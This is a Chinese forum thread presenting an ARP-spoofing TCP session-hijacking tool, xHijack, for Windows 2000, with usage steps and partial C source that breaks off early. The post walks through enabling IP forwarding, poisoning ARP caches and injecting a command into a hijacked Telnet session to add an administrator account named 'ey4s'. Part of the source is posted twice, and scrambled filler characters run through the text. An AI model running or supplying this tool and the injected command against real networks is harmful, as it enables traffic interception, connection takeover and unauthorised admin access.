QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4323|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 ) I0 Q1 @! L% [, a6 U
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 5 n% o1 e% f0 y$ o
第二步是ARP欺骗,具体原理我就不说了。
3 {3 V! y. }. f6 W. Z" h第三步就是开始劫持啦。 / _1 U+ A5 z5 f" m3 c
1 E! x6 B# ~. a& i2 h
我写了个程序xHijack可以实现第二、三步功能,使用如下: ' L; D" b% T7 T% W3 v5 ]8 m

7 a: v+ `- V5 ?( w) S( G  y& J. OUsage: xHijack ServerSide ClientSide , w' u+ A: u, g& B. K9 C0 j9 z
, ~' `, [7 l( X( Z, O0 Y
下面根据三种不同的情况分别说明如何输入参数:
5 K0 V0 m* T% C( N% z7 ^<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 # M5 G( ~& p) r4 L# n
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
1 S0 q2 W$ I" Z9 ~c:\>xHijack 192.168.0.2 192.168.0.3 / k$ v" o1 t" Y' w
劫持前数据流程:server <--> client % V" Z8 Z. p3 u5 S( P
劫持后数据流程:server <--> hijacker <--> client
6 t) M- q# I8 Z- _/ ]
, U, v  x  H1 Z1 ^<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
8 l6 r5 Z0 B* o6 t# {' p* d% X& z假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 ' C, S1 ]/ P4 z- j# t; r. k
xHijack 202.202.202.2 202.202.202.1 2 D9 N% `8 i9 X6 c' a: q! H3 [  P
劫持前数据流程:server <--> gw <--> routes <--> client
5 ~& P! ~8 a* V  C" d7 l劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
3 k4 H3 k# g3 F2 _* W, F+ U/ V, W$ C* W
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
' W: s; p3 }1 q5 X- L1 v4 u假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
" q- k, d( g* h- m8 l2 Z- CxHijack 192.168.0.1 192.168.0.2 5 _7 W" s' r4 E, O& Y  b
劫持前数据流程:client <--> gw <--> routes <--> server
' p: X0 R- s$ o4 J& ~! C7 z劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server % q9 e1 t4 ^$ }/ D) ~1 O5 I7 [$ r7 c

+ @) A' X0 [8 B: R* v/ N输入两个参数后,会提示你选择网卡,然后会提示 7 n$ \, q# d; C' q5 u, }* R
l        <-- List all connections
; o; y! x6 h# _% d0 Z4 br x       <-- Reset the number x connection 0 W0 J! z, ^& x# O( H
w x       <-- Watch the number x connection ( N7 s* f' ^: x; T4 v0 _
h x command   <-- Hijack the number x connection to execute command
+ r( H/ x9 U& ^
" \9 ]  q6 S+ C  D+ Plist、reset、watch命令我就不解释了。
7 ^% S# D2 [# X* d假如现在有如下连接
' n. `) g4 C5 C1 S* H+ ?(1) 202.202.202.202:23 <--> 192.168.0.3:2345 8 ]( e9 s* ~' D( l* P' d  b( z
我们想要劫持这个连接运行我们的命令,输入 6 f) i4 p* o) b4 i7 h0 P" j
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
" X, z4 ?5 S* d为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 ' m/ |9 ?* Z, O0 D/ M' y6 E
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 0 g6 n3 G: {' d: |
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
# X- R) u4 i: [& X4 c. ^
+ r- X2 H' M3 h2 k* E# V劫持的流程如下: 9 e) q6 N  p% c- u" b) G0 H
<1>伪装成Server给Client发一个rst包 ( ?1 b) L0 p, G1 C, X% A3 y6 i; b6 g
<2>伪装成Client给Server发了一个数据包 # `  x% e6 x7 p$ X
<3>Server回一个ACK包给client # d' R  n) g: c. S) V
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
0 d" M! K& S+ w1 L9 o9 Z) S
8 W5 j  E) r; C0 |& v0 o9 s这样的话,我们只能发一个伪造的包,但我想已经足够了。 ! z  I" T, R- _; X0 M3 s8 q
想要一直劫持那个连接也可以,如下
6 d1 Q. N( s) c& J<1>伪装成Server给Client发一个rst包 * H( o  I6 t- k' A
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA 3 R( l& v6 s& }( j2 s- F* X7 r' f
<3>伪装成Client给Server发了一个数据包 0 }9 h- D$ S/ O- U; O
<4>Server回一个ACK包给client ! I# @5 ?: S4 U' f8 M: ?
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
/ U1 z4 n, a/ g% w<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
6 r6 o0 ?) F* F7 Q* N2 z* P2 N& |
3 `0 X, p7 [8 V; L% d不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 ; B( m3 p7 O) `7 K; ]

5 \4 O, N( I; T7 j% m
* Y/ o/ k1 t- Y5 b" t8 ]3 x3 Y  x! S刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 4 k& m0 W' F& W  f* W
还请各位多多指点。
( U& Z+ h0 x+ h/ I* n$ P9 N
+ M8 {, k7 A0 ~+ qBTW:我没有空间,编译好的程序没地方放:( ! W( U. H" }6 ~- ~
$ U% k3 v5 ^) E9 _. ?6 h
5 Y: \9 [7 P4 O# j
; ?, O3 Q5 }( N
参考资料 & J! {( r0 w5 K6 Q
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 " Z5 p! ^0 N9 @9 J' c1 G1 B" O
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 3 t0 ~6 ?7 i% j. g6 w" c# K. t  {
& N0 s! m; E' k$ b6 P8 {/ S
7 n8 _; U6 Q9 x  B. h1 @
以下是程序代码
& L7 m0 d9 c, `; s5 u---------------------------------------------------------------------- 3 i) A5 Y$ s) O+ d  ?( b
/*----------------------------------------------------------------------------- - G& p/ [4 @. ~
File      : xHijack.c
  D. @! B  v5 u; Y2 s9 B: j0 ]Version      : 1.0
% F) Q$ d+ d1 W2 ACreate at    : 2002/8/12 / z( m! W* h, _$ J# u
Last modifed at  : 2002/8/19
# v' e/ M! @' G9 y0 y; u( y0 L5 Y* a0 kAuthor      : eyas ' N1 m: J1 i5 K
Email      : ey4s@21cn.com ) m7 D; s: F0 g2 ?$ j$ `
HomePage    : www.ey4s.org   |5 k8 B2 K+ u2 X- @
感谢refdom和shotgun发布的源代码,使我获益非浅。 7 \% c, {+ w+ E' q- |, {) j7 Z2 C0 j  ]
If you modify the code, or add more functions, please email me a copy.
: G, _- k( m: ^, F9 U$ H6 v
1 }9 F5 [* i* l9 @) k% Z- b- n备注: ( Y0 x2 U) z+ E7 n
<>没有考虑IP头、TCP头超过20字节的情况 ! B  b/ b" L' f  @
<>没有考虑数据包分片的情况
/ Q: Y1 H' V! H$ b2 Y9 S<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
9 H2 o6 Q! F" ^$ @4 n. W显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 2 k. r- A( M9 @# @" ^8 W
题了。 6 R% Y, g# N& ~7 d8 m7 P" I
7 q* n0 P: `0 {% q' s" ^" G2 @: q
也许下一版本会修正这些问题,也许不会有下一版本了。 ' f" I" ~' W! n& m: e2 W0 t
2 i$ B3 ]0 T- B+ ~8 n. L6 _
-----------------------------------------------------------------------------*/
, g$ |" P  c) P3 x  q0 H7 g#include 8 C/ G% {2 Q) P$ R* k; A
#include $ ]* E9 l$ h: c  {! y
#include ! {! B) \+ |7 Y2 _
#include " v/ P7 O- W- _
#include 7 ^" R) a7 s, f, \$ z
#include 4 @- A4 H. F% ^$ C( z5 o' x
#include 9 s4 ?, S- }  `) Z+ m: W  J
4 I( M. n$ S* m5 B
#pragma comment (lib, "packet")
- F! f' x! J  j#pragma comment (lib, "iphlpapi") # ]9 \" `6 v$ [
#pragma comment (lib, "ws2_32")
" l6 z0 R' |1 Y3 b
: P- q) K% y, c3 O; w6 |# g#define Max_Num_Adapter 10
7 @7 {- y- k; t9 {#define Max_Num_IPAddr  5
  t' f' W! k* Z9 e; R- B+ y+ }#define EPT_IP      0x0800      /* type: IP  */ ! b/ X7 m/ b$ Y/ t! Y2 H0 x
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
% O1 z& S* W/ b, u! f, q& O#define EPT_ARP      0x0806      /* type: ARP */
/ i/ z7 Y9 x1 _9 m& N# ~/ O
* s$ Z) _- @) X4 N#define  ACTION_NONE    0
  q9 N. J% }' e: d: T( |2 L#define  ACTION_WATCH  1 : J/ R$ _5 N+ V
#define  ACTION_RESET  2 1 N/ e( c) s, h, \! t
#define ACTION_HIJACK  3
) U6 p3 A/ p/ ~9 G0 E& T  o; n8 i7 U
/*以1字节对齐*/ " Q# _2 ?' {2 a  B- W4 {
#pragma pack(1)
* X  d! ?: b# h2 }! I$ _typedef struct _ehhdr
+ K* ~2 A0 c1 I* x$ \{ 4 ^5 f# ]$ b9 V
  unsigned char  DestMAC[6]; 0 s7 R/ z/ I5 i- g0 @3 t1 d9 {
  unsigned char  SourceMAC[6]; $ R. X: \$ U4 F
  unsigned short  EthernetType; ; }% ^' E+ x; @; G
}EHHDR, *PEHHDR; . w* j# b/ B: F

& Q" e) e/ e% M" C5 m" Ntypedef struct _iphdr        //定义IP首部 9 b- G% G0 J& U5 H5 q
{ 9 f% r  Y4 x& p4 w2 K# H
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 1 b1 t6 o! b  Y, j/ C
  unsigned char tos;        //8位服务类型TOS
& A5 H5 J+ ^6 I4 `( E  unsigned short total_len;    //16位总长度(字节)
6 ~6 G5 v6 {4 G: r$ `  b  unsigned short ident;      //16位标识 . v! X' S" j& g- n0 S
  unsigned short frag_and_flags;  //3位标志位 % |: I7 g& D( g) t% w: g
  unsigned char ttl;        //8位生存时间 TTL : k% `3 j& G0 L) q
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
6 B8 j2 `$ U! n  unsigned short checksum;    //16位IP首部校验和 * H1 K+ p& A) V
  unsigned int sourceIP;      //32位源IP地址 % a, n+ H3 z! u1 t+ D* d. J4 j
  unsigned int destIP;      //32位目的IP地址 9 Y" x) \+ ]2 S5 a
}IPHDR, *PIPHDR; 2 O) W- I9 w9 t+ k

+ I# j5 H9 v$ r4 u! X5 ]typedef struct _tcphdr        //定义TCP首部
" u! G% E' C, C  Y8 a: h{
4 l4 E# _5 i) N9 F  USHORT th_sport;        //16位源端口 - X) f, {/ k% B3 P0 k  h
  USHORT th_dport;        //16位目的端口
" @4 ^- s. `$ x$ H  unsigned int th_seq;      //32位序列号 8 [2 p, z8 `" ]6 P0 J0 S
  unsigned int th_ack;      //32位确认号 " |5 u5 @% d3 p  ~) ?. W- K0 a
  unsigned char th_lenres;    //4位首部长度/6位保留字
. S1 X4 C$ @* @$ u+ ]; O  unsigned char th_flag;      //6位标志位 0 ^$ q$ E; W  A7 h) i9 Q! M
  USHORT th_win;          //16位窗口大小 9 `* u* K7 B: n8 ?
  USHORT th_sum;          //16位校验和
3 H" M% s1 T) P( k5 j: I  USHORT th_urp;          //16位紧急数据偏移量 8 [: M: P8 x5 Q) c( O5 U
}TCPHDR, *PTCPHDR; : N' @2 H9 l' Y: X2 K
, G: \1 R) c9 U$ s* \
typedef struct _psdhdr        //定义TCP pseudo header
' D4 b& x" K* c, ^- @  N2 I{               3 l# j6 A) T! H. p2 ?# Q
  unsigned long saddr; : s0 v5 g" W: d
  unsigned long daddr;
8 [; S- d+ _3 ]- T8 Q! q8 F0 x: b  char mbz; ( m8 B; q, k: ]" F/ ~) y% z1 r
  char ptcl; 7 I* O; p; l% n
  unsigned short tcpl; * \2 k& U" j! A# U2 O
}PSDHDR, *PPSDHDR; $ ?1 ~, Z4 T! Z
0 `( D* }' @3 b$ C3 f6 I
typedef struct _arphdr
  @- P: S" }/ k7 p" I{
. C2 Y7 N$ p& }* e0 g  unsigned short  HrdType;//硬件类型 * c- K# }3 s7 H/ b/ E
  unsigned short  ProType;//协议类型
, l  T* w1 G9 U" y+ }% i6 u  unsigned char  HrdAddrlen;//硬件地址长度 % ~$ x, q5 L) U/ |% }0 v3 d/ {# r+ G
  unsigned char  ProAddrLen;//协议地址长度
7 y4 Y( L9 G  C  unsigned short  op;//operation
4 e+ m8 F  L5 |  unsigned char  SourceMAC[6];/* sender hardware address */
, Y$ n) |2 i. ]# U$ W: g3 z  unsigned long  SourceIP;/* sender protocol address */
* ^: _3 c1 L1 W8 @( [/ d  unsigned char  DestMAC[6];/* target hardware address */ - L+ T+ V) a/ e/ n' N
  unsigned long  DestIP;/* target protocol address */
0 p% `+ p8 t4 h: M# Z}ARPHDR, *PARPHDR;
8 D% W9 b0 b3 X0 k
# D- t  i) y* Rtypedef struct _ArpPacket
' B1 H8 X, [5 U! x  D; \{ ) `0 x; @% @6 G" `5 @/ Z
  EHHDR  ehhdr; / M& S3 h9 O8 e  C, ]1 P; [3 l$ e
  ARPHDR  arphdr;
+ f# M! H4 w/ |" B$ ?+ T4 ~6 k  f+ v}ARPPACKET, *PARPPACKET;
; U4 S; Z/ y" o) A, I* ^
% r- h2 O. j6 j% dtypedef struct _tcppacket $ }0 n0 S, u# ~4 r
{ 2 B! r- r' c- G2 A7 T/ i3 g
  EHHDR  ehhdr; 8 f; e0 {! t+ M! U" `
  IPHDR  iphdr; - ^6 o7 z3 e) k' Y; D& f6 Y: g$ L
  TCPHDR  tcphdr; * X$ o4 g2 p2 S5 N" @+ {5 H
}TCPPACKET, *PTCPPACKET; 4 C' g; _4 e8 y8 b' ^
6 [8 S# f* N1 ~3 ?4 A* V% Y5 }2 Y
typedef struct _conninfo 0 R. C( f9 Z  O* P2 X8 E+ v
{ 1 y7 l* T0 q; r
  DWORD  dwServerIP; : g. L5 P* M0 R$ |0 [! a# X- A
  USHORT  uServerPort; : l4 b" e& v* }9 h6 k4 N
  DWORD  dwClientIP;
. E- a3 Y0 Y) N2 A+ V1 D: X2 A# q  USHORT  uClientPort; 5 P7 c' ^, ^- v1 }0 Z9 h/ C" ]. H
  DWORD  ident;//标识
, O% U$ f: w# ^) w* I$ U/ B  BOOL  bActive; 8 V! A  w; @. h
  struct  _conninfo  *Next; 4 E6 N' n. [3 C7 N/ n0 X
}CONNINFO, *PCONNINFO; ' b3 d3 a" o$ b% m2 e

+ G% O/ t) X) Z1 U+ j" k8 q3 d* f( F//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, . E; J9 s1 f8 O9 \
        g_ClientSideIP,
! A) N. Y$ r6 p. g$ R4 K        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
/ h, s' h* Y9 Q$ k: r- Z; B; p        g_TotalIP = 0;// $ v' v) M8 ]. }$ J$ o
unsigned char  g_szOwnMAC[6];//本机MAC地址 $ T5 R8 a. g; J( Z' a
unsigned char  g_szClientSideMAC[6]; - G: o% z1 p/ o& ?' D
unsigned char  g_szServerSideMAC[6]; 4 \8 u4 {5 E& ?9 l5 B2 |
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 ; ]% ~8 l% g- X7 r, E
LPADAPTER    g_lpAdapter;
; x) S4 t% R/ T//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
; d, d7 P$ Z  a# D/ S+ g# Y  @3 s5 SHANDLE      g_hThread[4];
' U) `! X6 o3 Y; gchar      g_szCommand[128];//command to execute after hijack " Q8 K! O% d  V3 B
DWORD      g_dwAction;//action type
- Z8 X1 v; G  ?( jDWORD      g_dwCtrlConn;//action 所控制连接的标识 $ d. I) n- R  |* r) |
DWORD      g_ident;//节点标识,递增
, D) H3 d5 L! w$ C0 U* U* v2 \/ }PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 7 t2 S  B4 ^4 A8 w: b: }9 Z
        g_pConnHead = NULL,
; f2 W; j# m6 p+ I        g_pConnLast = NULL; , E/ R( a3 J+ g" Q) p
char      g_szSendPacketBuf[1514]; % ]0 N% L' a! b; d/ S& Z
LPPACKET    g_lpSendPacket;
6 v1 @1 B3 d: T9 d//函数 4 X% a- Q+ n+ o5 W
void      usage(void);
- |1 S9 a' ~9 m% F/ n3 ]1 }void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); ) w8 g, I, m5 ^) ]3 E, ?
void      ListAllConnection();//列出当前所有的连接 * I" t) a, e& Q1 K
void      ResetActionAllFlag();
* C' Q4 J6 e4 n% X+ Q1 e3 J9 d' tUSHORT      checksum(USHORT *, int); , ?; ^0 v$ J% o5 \# u$ n
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
$ Q. }0 R5 `/ i8 h  n7 W& t6 ?BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 4 W! e  Z3 z$ f
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
  n- h6 L; V, s! O" O" yBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
7 k/ V9 ^& o5 Q; ~" fBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
8 N) H$ O" f' M8 G  m  |DWORD      GetConnNum(char *, DWORD, DWORD *);
- a8 S1 w, l0 R6 c) j6 KDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
* o* ^6 s# b" H$ T0 Y" HDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 " ]! A4 ]( q6 W: e+ Q
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 3 i/ m( X  D% I; O. _# _
DWORD  WINAPI  InterfaceThread(LPVOID);// / j, v& ~7 g: R- w6 i9 U, o$ f
BOOL  WINAPI  CtrlEvent(DWORD); 7 {1 M% P$ k7 [, n  Q3 Z, L$ Z0 y

3 \1 {! c0 j! V  Q* y: k2 E& @, d! r4 @& A

. k/ U+ _6 w, g- q- Q1 y( Jint main(int argc, char **argv)
' h* F, M. @" x& \' z- @; B- s( f{
8 P5 t. ^. A9 z  struct    bpf_stat stat;
+ S1 a  Z) ?) B+ R4 l/ M6 C) r  int      i; " N# B3 b( }- I: `

/ M1 i9 l; _7 M; y1 y' |2 v  usage();
( }1 ~& F$ ]# l  if (argc != 3) return 0;
, r# I: D' j; x; m2 ]5 B+ Z  //取得参数 0 a3 E& `( J& N  H) z5 _& K! ^
  g_ServerSideIP = inet_addr(argv[1]); 2 L. m* O* V9 E
  g_ClientSideIP = inet_addr(argv[2]); , I- A) _  n' A* ]/ u4 c
  //初始化adapter & 一些全局变量 ( x2 N; s8 j! L* ~: @( x
  g_lpAdapter = InitAdapter(); + Y- H& k  [' ]0 {: A/ l
  if(!g_lpAdapter) return 0;
0 N4 G  ?9 k. ^( c6 Y  //get ServerSide MAC & ClientSide MAC
2 j8 ]3 l) {$ V6 l9 |- B  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
0 h6 j6 i5 [# b/ Y6 h' X  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- }5 \  T0 s& w' z9 g7 t' b" n  //create arp spoof thread     
% b' a" e  l* `: o7 T2 E/ d# b  i = 1;
8 @. b$ a- S# i' y9 H4 L  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 5 f3 V+ G( U7 A9 S, o: G: U
  Sleep(500);
! `5 }: B, B. W" b) H  i = 2;
* _3 c  t' {4 E0 U$ {) \  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
- {/ J; F1 G5 p; U' R1 A  //create analyse packet thread
9 ~# t) ~9 L5 V: b, \7 Q  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
. M5 N3 L0 k( [0 v( B+ M9 c  S1 M( B* o  //create interface thread
4 D+ b4 Y- Y0 x9 ~" M) k  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 2 P0 ?/ R+ Z% A. M
  //set console ctrl handle
. b: B9 J8 o4 R  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
) |/ g4 @5 Z' x2 e% X! o  { 7 t- k2 n- n7 s0 _* [( C
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
5 h4 l; x$ a/ P    return 0;   d* `) x2 Z4 ?9 V0 j& ~2 C
  }
; k* `# ?( e0 W) \4 u: f# B  //wait for any thread exit
2 m8 W1 U4 Q3 w" Z  u& x  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); . C& P8 m, A, x3 m; C& [# o
  //print the capture statistics 9 d) \$ V+ r" T8 ^
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) . T' q' E/ e3 t4 H5 n9 O, n" t
    printf("Warning: unable to get stats from the kernel!\n"); % X) P9 s) A7 H; m
  else 2 V( R* @9 @% @4 U7 r1 S9 t
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); ( _/ {# O: }% N6 A) C
  //free resource   
( V+ w9 j7 b' Y# x! h( H  PacketFreePacket(g_lpSendPacket);
3 e- C$ Y$ x6 v$ E% g' |! a  PacketCloseAdapter(g_lpAdapter);
) q5 [& L0 G& }  D$ S0 S: D  return 0;
7 M' W9 K4 B( O+ l}
, N: @2 u6 r9 U& z; |0 N  |
2 |5 s) s# o" m/ [4 Z//
! \, o+ P: {1 L3 l* U% `8 e& @//功能:重置所有于ACTION有关的标志
! T* _6 n3 r7 E. B3 \# L9 X//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, * i, C7 C' B# w5 R2 S! n) J: K
        g_ClientSideIP,
* s( {# H9 G& F- k8 i        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 0 ~% A1 F% ]9 X) I4 g
        g_TotalIP = 0;//
2 V; L0 U& z0 z; K: yunsigned char  g_szOwnMAC[6];//本机MAC地址
- q4 k2 X# L4 [( r% }" c( S4 B$ m8 `8 Uunsigned char  g_szClientSideMAC[6];
8 f- o8 R: l3 z( m1 D$ T0 T, Wunsigned char  g_szServerSideMAC[6];
( S4 W" }9 J6 F, {6 {char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 $ b0 I) Z1 X! ?: L
LPADAPTER    g_lpAdapter;
  L- Q) b' H5 e! n# e7 k9 |% O+ D//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
9 i$ Q- g7 r- R6 l: KHANDLE      g_hThread[4]; - S) A" U( I2 m( M6 _
char      g_szCommand[128];//command to execute after hijack
1 l- f9 ^6 J2 T  h4 [8 W; sDWORD      g_dwAction;//action type
3 ~) C1 v" Q: ?0 F+ DDWORD      g_dwCtrlConn;//action 所控制连接的标识
4 ]" d$ f5 }/ p7 h' fDWORD      g_ident;//节点标识,递增
, h6 H  H& z/ {& P8 A2 c3 [0 ePCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 / a  r, V, F1 z$ U2 @
        g_pConnHead = NULL, ! i1 o8 W1 h: v  }% j. o
        g_pConnLast = NULL;
/ n# f  G& k; O0 @: rchar      g_szSendPacketBuf[1514];
4 o1 s, ?! n: W# e, h" BLPPACKET    g_lpSendPacket;
2 ~. ?3 B5 d; i2 L//函数 6 n  q" L9 s  F8 w  L' R5 Y* b" N8 K
void      usage(void);
$ M; m* V- A# K; q% d: Uvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
" t' G( X* K0 V1 ]void      ListAllConnection();//列出当前所有的连接 # r0 t4 G) X# l8 z4 n0 }: V$ N
void      ResetActionAllFlag();
: O- u+ h" D$ Z8 BUSHORT      checksum(USHORT *, int); & `1 y+ e7 u! t4 M. a
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
7 n2 \: r* J' l6 M* N$ D  OBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
2 z# w0 d4 Z- R/ T0 uLPADAPTER    InitAdapter();//初始化一些参数和全局变量
* w7 K8 E' ?7 Q9 u+ Y; hBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 - u8 e" f( [1 R- R; H2 O& t
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
, ~4 F' l+ L4 A6 G% P3 RDWORD      GetConnNum(char *, DWORD, DWORD *); 1 Y8 C6 y3 `2 I* l' R
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 6 Z2 c$ ?: J+ y2 c
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 7 m2 @0 e2 r/ s% a) k  T
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 5 L" C! G- U9 L
DWORD  WINAPI  InterfaceThread(LPVOID);//
+ ]1 t4 `  x; C  I# w3 EBOOL  WINAPI  CtrlEvent(DWORD); & p1 i4 \4 M7 s& T6 L
4 z" T% k! {$ Q: A

2 P4 S; d2 W% A% M6 I+ g- T+ R* A. g3 @1 h( [
int main(int argc, char **argv) + x" O  T2 l8 R% R! ?( l
{
/ I7 a* C( S% ?' K, c  struct    bpf_stat stat;
. ~1 w; }- |) u  int      i; * g+ w1 v" H; D* F& t
0 R2 t6 o' d' N& j3 ?; p, f, e0 u
  usage(); 8 B' c2 t- V1 y2 Z, E
  if (argc != 3) return 0;
) i9 N+ d3 [: Y  //取得参数
2 T3 C" ~' `- `2 {  g_ServerSideIP = inet_addr(argv[1]);
$ q9 q- v" X- G  g_ClientSideIP = inet_addr(argv[2]); ) P4 x9 l. t. y; b' Y
  //初始化adapter & 一些全局变量
0 `1 v/ a% A: X3 o  [  g_lpAdapter = InitAdapter(); + {) N0 j6 f, K$ V
  if(!g_lpAdapter) return 0; ; Q6 l* ^. v/ b, i5 E
  //get ServerSide MAC & ClientSide MAC
2 X. a$ b! w0 ^4 U3 G  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; 2 g* c/ |' g/ `/ E
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
" ~6 x) ?& j6 A" C; T  //create arp spoof thread     
" r7 D& a- O5 l+ C& Y  i = 1; 7 N7 N; s+ B( {! k
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);   x! Q( e* i# x. h
  Sleep(500);
9 @  q: a7 k! a2 i. i  i = 2; ( W; Q5 m! ]. k0 N4 Z* f( @
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
! z: W6 [: ?% X5 Z8 s, |& L  //create analyse packet thread - ~! {% Z$ U( P6 N0 x" C4 W, W
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
* n& |- S* f: C, u. }  //create interface thread
8 W3 q2 y# T* Y5 z  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
& S1 T4 U& r- ]  //set console ctrl handle ! d9 t. K) {# i9 L3 w
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
; [" u, D4 \9 D2 ?* A5 I, y2 g) ~  {
! j" L0 y3 n* y5 z1 q  z) q( P    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 4 K7 A* j' e9 y  i# C& l
    return 0;
! z4 `' L; N- s$ a% m$ w; G5 h' a  }
8 F- l* s( \1 X2 J2 @  //wait for any thread exit 6 p- K0 j' x2 T, J  ], `( H0 d
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
+ X, r# ]8 o! O  //print the capture statistics
5 K2 t2 O! j" I) ?& X  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 2 o" W2 d$ x2 T! r) Q) @; ^
    printf("Warning: unable to get stats from the kernel!\n");
' C9 y  `2 A1 V  m  \  else
" d6 \$ S" \7 Z* o    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
& ~1 X3 Q* h$ H/ _" }/ K  //free resource   " P% K, Y5 z; e
  PacketFreePacket(g_lpSendPacket);
. M( q$ t# z* S, ~. X. l  PacketCloseAdapter(g_lpAdapter); . a2 @  U8 L4 Z
  return 0; 5 R9 W8 L. ^2 Z* P, b
} # J; O; j6 m+ x' _
" b, d. P* F( V, }6 t* \
// . f; F# k' i2 I" O2 R7 W0 Q: p1 N
//功能:重置所有于ACTION有关的标志
8 c! q3 h+ Y- [- ?/ J+ X7 g. {+ ~//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
# O4 J1 p  p, \9 H* x{
, P& ]' g9 P8 Z7 U. @  g_dwCtrlConn = 0; 3 k: q2 N3 X, P& T
